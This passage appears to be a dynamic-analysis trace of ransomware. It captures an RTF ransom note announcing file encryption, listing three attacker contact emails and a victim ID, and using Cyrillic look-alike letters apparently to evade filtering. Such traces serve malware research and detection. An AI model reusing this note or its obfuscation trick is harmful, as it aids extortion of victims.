bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up 